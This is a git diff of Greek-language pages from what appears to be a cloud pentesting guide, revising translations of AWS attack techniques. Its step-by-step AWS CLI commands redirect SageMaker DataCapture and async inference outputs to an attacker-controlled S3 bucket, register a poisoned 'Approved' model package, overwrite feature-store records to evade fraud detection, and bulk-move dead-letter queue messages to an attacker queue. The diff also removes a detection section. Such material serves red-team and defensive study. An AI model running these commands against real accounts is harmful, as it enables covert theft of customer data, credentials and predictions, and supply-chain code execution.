||||
BUCKET=ht-sm-capture-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION
|
||||
```
|
||||
3) Δημιουργήστε ένα νέο EndpointConfig που διατηρεί τα ίδια variants αλλά ενεργοποιεί το DataCapture στο attacker bucket
|
||||
3) Δημιουργήστε ένα νέο EndpointConfig που διατηρεί τις ίδιες variants αλλά ενεργοποιεί το DataCapture στο attacker bucket
|
||||
|
||||
Σημείωση: Χρησιμοποιήστε ρητούς τύπους περιεχομένου που ικανοποιούν την επικύρωση του CLI.
|
||||
Note: Χρησιμοποιήστε ρητούς τύπους περιεχομένου που ικανοποιούν την επικύρωση του CLI.
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,38 +54,38 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Εφαρμόστε τη νέα διαμόρφωση με rolling update (ελάχιστη/καθόλου διακοπή λειτουργίας)
|
||||
4) Εφαρμόστε τη νέα διαμόρφωση με μια διαδοχική ενημέρωση (ελάχιστη/καμία διακοπή λειτουργίας)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) Δημιούργησε τουλάχιστον μία κλήση inference (προαιρετικό εάν υπάρχει ζωντανή κίνηση)
|
||||
5) Δημιουργήστε τουλάχιστον μία κλήση inference (προαιρετικό αν υπάρχει ζωντανή κίνηση)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Επαληθεύστε τις καταγραφές στο S3 του attacker
|
||||
6) Επικυρώστε captures στο attacker S3
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Επιπτώσεις
|
||||
- Πλήρης exfiltration των real‑time inference request και response payloads (και metadata) από το στοχευμένο endpoint σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο.
|
||||
- Χωρίς αλλαγές στην εικόνα model/container και μόνο αλλαγές σε επίπεδο endpoint, επιτρέποντας μια διακριτική διαδρομή κλοπής δεδομένων με ελάχιστη λειτουργική διαταραχή.
|
||||
- Full exfiltration of real‑time inference request and response payloads (and metadata) από το στοχευμένο endpoint σε attacker‑controlled S3 bucket.
|
||||
- Χωρίς αλλαγές στο model/container image και με αλλαγές μόνο σε επίπεδο endpoint, επιτρέποντας μια stealthy data theft path με ελάχιστη λειτουργική διαταραχή.
|
||||
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Κακοποίηση της διαχείρισης endpoint για την ανακατεύθυνση των asynchronous inference outputs σε έναν S3 bucket ελεγχόμενο από τον επιτιθέμενο, κλωνοποιώντας την τρέχουσα EndpointConfig και ρυθμίζοντας το AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Αυτό exfiltrates τις προβλέψεις του model (και οποιεσδήποτε μετασχηματισμένες εισόδους που περιλαμβάνονται από το container) χωρίς να τροποποιείται το model/container.
|
||||
Καταχραστείτε τη διαχείριση του endpoint για να ανακατευθύνετε τα asynchronous inference outputs σε attacker-controlled S3 bucket, κλωνοποιώντας το τρέχον EndpointConfig και ρυθμίζοντας το AsyncInferenceConfig.OutputConfig S3OutputPath/S3FailurePath. Αυτό exfiltrates τις model predictions (και οποιαδήποτε transformed inputs που περιλαμβάνει το container) χωρίς να τροποποιήσετε το model/container.
|
||||
|
||||
### Απαιτήσεις
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: Δυνατότητα εγγραφής στον attacker S3 bucket (μέσω του model execution role ή μιας permissive bucket policy)
|
||||
- Στόχος: Ένα InService endpoint όπου asynchronous invocations χρησιμοποιούνται (ή θα χρησιμοποιηθούν)
|
||||
- S3: Δυνατότητα εγγραφής στο attacker S3 bucket (μέσω του model execution role ή μέσω μιας permissive bucket policy)
|
||||
- Target: Ένα InService endpoint όπου asynchronous invocations χρησιμοποιούνται (ή θα χρησιμοποιηθούν)
|
||||
|
||||
### Βήματα
|
||||
1) Συλλέξτε τα τρέχοντα ProductionVariants από το στοχευόμενο endpoint
|
||||
1) Συλλέξτε τα τρέχοντα ProductionVariants από το στοχευμένο endpoint
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
@@ -98,7 +98,7 @@ ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) Κλωνοποίηση του EndpointConfig και hijack των αποτελεσμάτων του AsyncInference στο attacker bucket
|
||||
3) Κλωνοποιήστε το EndpointConfig και hijack τα AsyncInference outputs στο attacker bucket
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +108,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Προκαλέστε μια async invocation και επαληθεύστε ότι τα αντικείμενα καταλήγουν στο S3 του επιτιθέμενου
|
||||
4) Προκαλέστε μια async invocation και επαληθεύστε ότι τα αντικείμενα καταλήγουν στο attacker S3
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -116,28 +116,28 @@ sleep 30
|
||||
aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Επίπτωση
|
||||
- Ανακατευθύνει τα αποτελέσματα ασύγχρονης inference (και τα σώματα σφαλμάτων) σε S3 που ελέγχεται από τον επιτιθέμενο, επιτρέποντας covert exfiltration των predictions και ενδεχομένως ευαίσθητων προ-/μετα-επεξεργασμένων εισόδων που παράγονται από το container, χωρίς αλλαγή του model code ή του image και με ελάχιστο/καθόλου downtime.
|
||||
### Επιπτώσεις
|
||||
- Ανακατευθύνει τα ασύγχρονα αποτελέσματα inference (και τα σώματα σφαλμάτων) σε attacker-controlled S3, επιτρέποντας μυστική εξαγωγή των predictions και ενδεχομένως ευαίσθητων pre/post-processed inputs που παράγει το container, χωρίς αλλαγή του model code ή image και με ελάχιστο/καθόλου downtime.
|
||||
|
||||
|
||||
## SageMaker Model Registry supply-chain injection μέσω CreateModelPackage(Approved)
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
Εάν ένας επιτιθέμενος μπορεί να εκτελέσει CreateModelPackage σε ένα στοχευμένο SageMaker Model Package Group, μπορεί να καταχωρήσει μια νέα έκδοση μοντέλου που δείχνει σε attacker-controlled container image και να τη σημάνει αμέσως ως Approved. Πολλά CI/CD pipelines αναπτύσσουν αυτόματα Approved model versions σε endpoints ή training jobs, με αποτέλεσμα εκτέλεση κώδικα του επιτιθέμενου υπό τα execution roles της υπηρεσίας. Η έκθεση μεταξύ λογαριασμών μπορεί να ενισχυθεί από μια permissive ModelPackageGroup resource policy.
|
||||
If an attacker can CreateModelPackage on a target SageMaker Model Package Group, they can register a new model version that points to an attacker-controlled container image and immediately mark it Approved. Many CI/CD pipelines auto-deploy Approved model versions to endpoints or training jobs, resulting in attacker code execution under the service’s execution roles. Cross-account exposure can be amplified by a permissive ModelPackageGroup resource policy.
|
||||
|
||||
### Requirements
|
||||
- IAM (ελάχιστα δικαιώματα για να μολυνθεί μια υπάρχουσα group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Optional (για να δημιουργηθεί μια group εάν δεν υπάρχει): `sagemaker:CreateModelPackageGroup`
|
||||
### Απαιτήσεις
|
||||
- IAM (minimum to poison an existing group): `sagemaker:CreateModelPackage` on the target ModelPackageGroup
|
||||
- Προαιρετικό (για να δημιουργήσει μια group αν δεν υπάρχει): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Read access to referenced ModelDataUrl (or host attacker-controlled artifacts)
|
||||
- Target: A Model Package Group that downstream automation watches for Approved versions
|
||||
- Στόχος: A Model Package Group that downstream automation watches for Approved versions
|
||||
|
||||
### Steps
|
||||
### Βήματα
|
||||
1) Set region and create/find a target Model Package Group
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) Προετοιμάστε ψεύτικα δεδομένα μοντέλου στο S3
|
||||
2) Προετοιμάστε δειγματικά δεδομένα μοντέλου στο S3
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +145,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Εγγραφή ενός malicious (here benign) Approved model package version που αναφέρεται σε δημόσια AWS DLC image
|
||||
3) Καταχώριση μιας malicious (εδώ benign) Approved model package version που αναφέρεται σε μια δημόσια AWS DLC image
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -162,18 +162,19 @@ cat > /tmp/inf.json << JSON
|
||||
JSON
|
||||
aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json
|
||||
```
|
||||
4) Επιβεβαιώστε ότι η νέα εγκεκριμένη έκδοση υπάρχει
|
||||
4) Επαληθεύστε ότι υπάρχει η νέα εγκεκριμένη έκδοση
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Επιπτώσεις
|
||||
- Poison the Model Registry με μια Approved έκδοση που αναφέρεται σε κώδικα ελεγχόμενο από τον επιτιθέμενο. Οι Pipelines που αυτοματοποιούν την ανάπτυξη Approved models μπορεί να τραβήξουν και να εκτελέσουν το attacker image, οδηγώντας σε εκτέλεση κώδικα με δικαιώματα endpoint/training roles.
|
||||
- Με μια επιεική πολιτική πόρου ModelPackageGroup (PutModelPackageGroupPolicy), αυτή η κατάχρηση μπορεί να ενεργοποιηθεί cross-account.
|
||||
- Poison the Model Registry with an Approved version that references attacker-controlled code. Οι Pipelines που auto-deploy Approved models μπορεί να τραβήξουν και να εκτελέσουν το attacker image, οδηγώντας σε εκτέλεση κώδικα υπό endpoint/training roles.
|
||||
- Με μια permissive ModelPackageGroup resource policy (PutModelPackageGroupPolicy), αυτή η κατάχρηση μπορεί να ενεργοποιηθεί cross-account.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Κακοποιήστε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο το OnlineStore για να αντικαταστήσετε ζωντανές τιμές features που καταναλώνονται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ο επιτιθέμενος μπορεί να διαβάσει ευαίσθητα features. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
|
||||
Κακοχρησιμοποιήστε `sagemaker:PutRecord` σε ένα Feature Group με OnlineStore enabled για να αντικαταστήσετε τις live τιμές χαρακτηριστικών που καταναλώνονται από online inference. Σε συνδυασμό με `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα features. Αυτό δεν απαιτεί πρόσβαση σε models ή endpoints.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-32
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
Κατάχρηση του `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο το OnlineStore για να αντικαταστήσετε ζωντανές τιμές χαρακτηριστικών που χρησιμοποιούνται από online inference. Σε συνδυασμό με το `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά και να εξάγει εμπιστευτικά ML δεδομένα. Αυτό δεν απαιτεί πρόσβαση σε μοντέλα ή endpoints, καθιστώντας το μια άμεση επίθεση σε επίπεδο δεδομένων.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Καταχραστείτε το `sagemaker:PutRecord` σε ένα Feature Group με ενεργοποιημένο OnlineStore για να επανεγγράψετε τιμές χαρακτηριστικών που χρησιμοποιούνται από προβλέψεις σε πραγματικό χρόνο. Σε συνδυασμό με `sagemaker:GetRecord`, ένας επιτιθέμενος μπορεί να διαβάσει ευαίσθητα χαρακτηριστικά. Αυτό δεν απαιτεί πρόσβαση σε μοντέλα ή endpoints.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Δικαιώματα: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Στόχος: Feature Group με OnlineStore ενεργοποιημένο (συνήθως υποστηρίζει real-time inference)
|
||||
- Πολυπλοκότητα: **LOW** - Απλές εντολές AWS CLI, δεν απαιτείται χειρισμός μοντέλων
|
||||
- Permissions: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Target: Feature Group με ενεργοποιημένο OnlineStore (συνήθως υποστηρίζει προβλέψεις σε πραγματικό χρόνο)
|
||||
- Complexity: **LOW** - Απλές εντολές AWS CLI, δεν απαιτείται χειρισμός μοντέλου
|
||||
|
||||
## Βήματα
|
||||
|
||||
### Αναγνώριση
|
||||
|
||||
1) Καταγράψτε τα Feature Groups με ενεργοποιημένο το OnlineStore
|
||||
1) Καταγράψτε τα Feature Groups με ενεργοποιημένο OnlineStore
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,14 +21,14 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Περιγράψτε ένα target Feature Group για να κατανοήσετε το σχήμα του
|
||||
2) Περιγράψτε ένα στοχευμένο Feature Group για να κατανοήσετε το σχήμα του
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
Σημειώστε τα `RecordIdentifierFeatureName`, `EventTimeFeatureName`, και όλους τους ορισμούς χαρακτηριστικών. Αυτά απαιτούνται για τη σύνταξη έγκυρων εγγραφών.
|
||||
Σημειώστε τα `RecordIdentifierFeatureName`, `EventTimeFeatureName`, και όλους τους ορισμούς χαρακτηριστικών. Αυτά απαιτούνται για τη δημιουργία έγκυρων εγγραφών.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
@@ -54,18 +56,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
3) Επαληθεύστε τα poisoned data
|
||||
3) Επαληθεύστε τα πειραγμένα δεδομένα
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Επίδραση**: Τα ML μοντέλα που χρησιμοποιούν αυτό το χαρακτηριστικό θα βλέπουν τώρα `risk_score=0.99` για έναν νόμιμο χρήστη, ενδεχομένως αποκλείοντας τις συναλλαγές ή τις υπηρεσίες του.
|
||||
**Επίπτωση**: Τα ML μοντέλα που χρησιμοποιούν αυτό το χαρακτηριστικό θα εμφανίζουν τώρα `risk_score=0.99` για έναν νόμιμο χρήστη, ενδεχομένως μπλοκάροντας τις συναλλαγές ή τις υπηρεσίες του.
|
||||
|
||||
### Σενάριο Επίθεσης 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
### Σενάριο Επίθεσης 2: Κακόβουλη Έγχυση Δεδομένων (Δημιουργία Ψευδών Εγγραφών)
|
||||
|
||||
Εισαγωγή εντελώς νέων εγγραφών με χειραγωγημένα χαρακτηριστικά για την παράκαμψη των μηχανισμών ασφαλείας:
|
||||
Εγχύστε εντελώς νέες εγγραφές με χειραγωγημένα χαρακτηριστικά για να παρακάμψετε τους μηχανισμούς ασφαλείας:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Επαληθεύστε την injection:
|
||||
Επαλήθευση της έγχυσης:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Επίπτωση**: Ο επιτιθέμενος δημιουργεί μια ψεύτικη ταυτότητα με χαμηλό σκορ κινδύνου (0.01) που μπορεί να εκτελέσει απατηλές συναλλαγές μεγάλης αξίας χωρίς να ενεργοποιήσει την ανίχνευση απάτης.
|
||||
**Επίπτωση**: Επιτιθέμενος δημιουργεί ψεύτικη ταυτότητα με χαμηλό δείκτη ρίσκου (0.01) που μπορεί να πραγματοποιήσει υψηλής αξίας απατηλές συναλλαγές χωρίς να ενεργοποιεί την ανίχνευση απάτης.
|
||||
|
||||
### Σενάριο Επίθεσης 3: Εξαγωγή Ευαίσθητων Δεδομένων
|
||||
### Σενάριο Επίθεσης 3: Sensitive Data Exfiltration
|
||||
|
||||
Ανάγνωση πολλαπλών εγγραφών για να εξαγάγετε εμπιστευτικά χαρακτηριστικά και να αποτυπώσετε τη συμπεριφορά του μοντέλου:
|
||||
Διαβάστε πολλαπλές εγγραφές για να εξαγάγετε εμπιστευτικά χαρακτηριστικά και να χαρτογραφήσετε τη συμπεριφορά του μοντέλου:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Επίπτωση**: Εμπιστευτικά χαρακτηριστικά (risk scores, transaction patterns, προσωπικά δεδομένα) εκτίθενται σε επιτιθέμενο.
|
||||
**Impact**: Ευαίσθητα features (risk scores, transaction patterns, προσωπικά δεδομένα) εκτίθενται σε attacker.
|
||||
|
||||
### Δημιουργία δοκιμαστικού/Demo Feature Group (Προαιρετικό)
|
||||
### Δημιουργία Testing/Demo Feature Group (Προαιρετικό)
|
||||
|
||||
Εάν χρειάζεται να δημιουργήσετε ένα δοκιμαστικό Feature Group:
|
||||
Αν χρειάζεται να δημιουργήσετε ένα δοκιμαστικό Feature Group:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Ανίχνευση
|
||||
|
||||
Παρακολουθήστε το CloudTrail για ύποπτα πρότυπα:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- Υψηλή συχνότητα κλήσεων `PutRecord` ή `GetRecord`
|
||||
- `PutRecord` με ανώμαλες τιμές χαρακτηριστικών (π.χ., risk_score εκτός του φυσιολογικού εύρους)
|
||||
- Μαζικές λειτουργίες `GetRecord` που υποδεικνύουν mass exfiltration
|
||||
- Πρόσβαση εκτός κανονικών ωρών εργασίας ή από απροσδόκητες τοποθεσίες
|
||||
|
||||
Εφαρμόστε ανίχνευση ανωμαλιών:
|
||||
- Επικύρωση τιμών χαρακτηριστικών (π.χ., risk_score πρέπει να είναι 0.0-1.0)
|
||||
- Ανάλυση προτύπων εγγραφής (συχνότητα, χρονισμός, ταυτότητα πηγής)
|
||||
- Ανίχνευση μετατόπισης δεδομένων (αιφνίδιες αλλαγές στις κατανομές χαρακτηριστικών)
|
||||
|
||||
## Αναφορές
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+35
-31
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Εξαγωγή μέσω StartMessageMoveTask
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
## Περιγραφή
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Καταχράσου τα tasks μετακίνησης μηνυμάτων του SQS για να κλέψεις όλα τα συσσωρευμένα μηνύματα από την Dead-Letter Queue (DLQ) του θύματος αναδρομολογώντας τα σε μια ουρά υπό έλεγχο του επιτιθέμενου χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται τη νόμιμη λειτουργία ανάκτησης μηνυμάτων του AWS για να εξαγάγει ευαίσθητα δεδομένα που έχουν συσσωρευτεί σε DLQs με την πάροδο του χρόνου.
|
||||
## Description
|
||||
|
||||
Κακοχρησιμοποιήστε τα message move tasks του SQS για να κλέψετε όλα τα συσσωρευμένα μηνύματα από την Dead-Letter Queue (DLQ) ενός θύματος ανακατευθύνοντάς τα σε μια ουρά υπό τον έλεγχο του επιτιθέμενου χρησιμοποιώντας `sqs:StartMessageMoveTask`. Αυτή η τεχνική εκμεταλλεύεται τη νόμιμη λειτουργία ανάκτησης μηνυμάτων του AWS για να εξαγάγει ευαίσθητα δεδομένα που έχουν μαζευτεί σε DLQs με την πάροδο του χρόνου.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
|
||||
Μια Dead-Letter Queue είναι μια ειδική ουρά SQS όπου στέλνονται αυτόματα τα μηνύματα όταν αποτυγχάνουν να επεξεργαστούν επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν:
|
||||
Μια Dead-Letter Queue είναι μια ειδική SQS ουρά όπου στέλνονται αυτόματα μηνύματα όταν αποτυγχάνουν να επεξεργαστούν επιτυχώς από την κύρια εφαρμογή. Αυτά τα αποτυχημένα μηνύματα συχνά περιέχουν:
|
||||
- Ευαίσθητα δεδομένα εφαρμογής που δεν μπόρεσαν να επεξεργαστούν
|
||||
- Λεπτομέρειες σφαλμάτων και πληροφορίες debugging
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials ή άλλα μυστικά
|
||||
- Επιχειρησιακά κρίσιμα δεδομένα συναλλαγών
|
||||
- API tokens, credentials, ή άλλα secrets
|
||||
- Business-critical transaction data
|
||||
|
||||
Οι DLQs λειτουργούν ως «νεκροταφείο» για αποτυχημένα μηνύματα, καθιστώντας τις πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να χειριστούν σωστά.
|
||||
Οι DLQs λειτουργούν σαν «νεκροταφείο» για αποτυχημένα μηνύματα, καθιστώντας τες πολύτιμους στόχους αφού συσσωρεύουν ευαίσθητα δεδομένα με την πάροδο του χρόνου που οι εφαρμογές δεν μπόρεσαν να διαχειριστούν σωστά.
|
||||
|
||||
## Attack Scenario
|
||||
|
||||
**Πραγματικό παράδειγμα:**
|
||||
**Real-world example:**
|
||||
1. **E-commerce application** επεξεργάζεται παραγγελίες πελατών μέσω SQS
|
||||
2. **Κάποιες παραγγελίες αποτυγχάνουν** (προβλήματα πληρωμών, θέματα αποθέματος κ.λπ.) και μετακινούνται σε DLQ
|
||||
3. **Η DLQ συσσωρεύει** εβδομάδες/μήνες αποτυχημένων παραγγελιών που περιέχουν δεδομένα πελατών: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
2. **Μερικές παραγγελίες αποτυγχάνουν** (προβλήματα πληρωμής, αποθέματος κ.λπ.) και μετακινούνται σε DLQ
|
||||
3. **Η DLQ συσσωρεύει** εβδομάδες/μήνες αποτυχημένων παραγγελιών με δεδομένα πελατών: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Ο επιτιθέμενος αποκτά πρόσβαση** σε AWS credentials με δικαιώματα SQS
|
||||
5. **Ο επιτιθέμενος ανακαλύπτει** ότι η DLQ περιέχει χιλιάδες αποτυχημένες παραγγελίες με ευαίσθητα δεδομένα
|
||||
6. **Αντί να προσπαθήσει να αποκτήσει πρόσβαση σε μεμονωμένα μηνύματα** (αργό και προφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για να μεταφέρει μαζικά ΟΛΑ τα μηνύματα στην δική του ουρά
|
||||
6. **Αντί να προσπαθεί να προσπελάσει μεμονωμένα μηνύματα** (αργό και εμφανές), ο επιτιθέμενος χρησιμοποιεί `StartMessageMoveTask` για να μεταφέρει μαζικά ΟΛΑ τα μηνύματα στην ουρά του
|
||||
7. **Ο επιτιθέμενος εξάγει** όλα τα ιστορικά ευαίσθητα δεδομένα σε μία ενέργεια
|
||||
|
||||
## Requirements
|
||||
- Η source queue πρέπει να είναι διαμορφωμένη ως DLQ (αναφερόμενη από τουλάχιστον μία ουρά RedrivePolicy).
|
||||
- IAM permissions (εκτελείται ως το συμβιβασμένο victim principal):
|
||||
- Η source queue πρέπει να είναι διαμορφωμένη ως DLQ (αναφερόμενη από τουλάχιστον μία queue RedrivePolicy).
|
||||
- IAM permissions (εκτελούμενα ως ο συμβιβασμένος victim principal):
|
||||
- Στην DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. policy ουράς που επιτρέπει `sqs:SendMessage` από το victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται από προεπιλογή.
|
||||
- Αν είναι ενεργοποιημένο SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
- Στην destination queue: δικαίωμα παράδοσης μηνυμάτων (π.χ. queue policy που επιτρέπει `sqs:SendMessage` από το victim principal). Για προορισμούς στο ίδιο account αυτό συνήθως επιτρέπεται εξ ορισμού.
|
||||
- Εάν είναι ενεργοποιημένο SSE-KMS: στο source CMK `kms:Decrypt`, και στο destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Impact
|
||||
Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (αποτυχημένα events, PII, tokens, payloads εφαρμογών) με υψηλή ταχύτητα χρησιμοποιώντας native SQS APIs. Λειτουργεί cross-account εάν το policy της destination queue επιτρέπει `SendMessage` από το victim principal.
|
||||
Εξαγωγή ευαίσθητων payloads που έχουν συσσωρευτεί σε DLQs (failed events, PII, tokens, application payloads) με μεγάλη ταχύτητα χρησιμοποιώντας τις εγγενείς SQS APIs. Λειτουργεί cross-account αν η destination queue policy επιτρέπει `SendMessage` από το victim principal.
|
||||
|
||||
## How to Abuse
|
||||
|
||||
- Εντόπισε το victim DLQ ARN και επιβεβαίωσε ότι αναφέρεται πράγματι ως DLQ από κάποια ουρά (οποιαδήποτε ουρά είναι εντάξει).
|
||||
- Δημιούργησε ή επίλεξε μια ουρά υπό έλεγχο του επιτιθέμενου ως destination και πάρε το ARN της.
|
||||
- Ξεκίνησε ένα message move task από την victim DLQ προς την destination queue σου.
|
||||
- Παρακολούθησε την πρόοδο ή ακύρωσε αν χρειαστεί.
|
||||
- Εντοπίστε το victim DLQ ARN και βεβαιωθείτε ότι αναφέρεται όντως ως DLQ από κάποια ουρά (οποιαδήποτε ουρά αρκεί).
|
||||
- Δημιουργήστε ή επιλέξτε μια destination queue υπό τον έλεγχο του επιτιθέμενου και πάρτε το ARN της.
|
||||
- Ξεκινήστε ένα message move task από την victim DLQ προς την destination queue σας.
|
||||
- Παρακολουθήστε την πρόοδο ή ακυρώστε αν χρειαστεί.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Ένας επιτιθέμενος έχει συμβιβάσει AWS credentials και ανακάλυψε ότι μια e-commerce εφαρμογή χρησιμοποιεί SQS με μια DLQ που περιέχει αποτυχημένες προσπάθειες επεξεργασίας παραγγελιών πελατών.
|
||||
|
||||
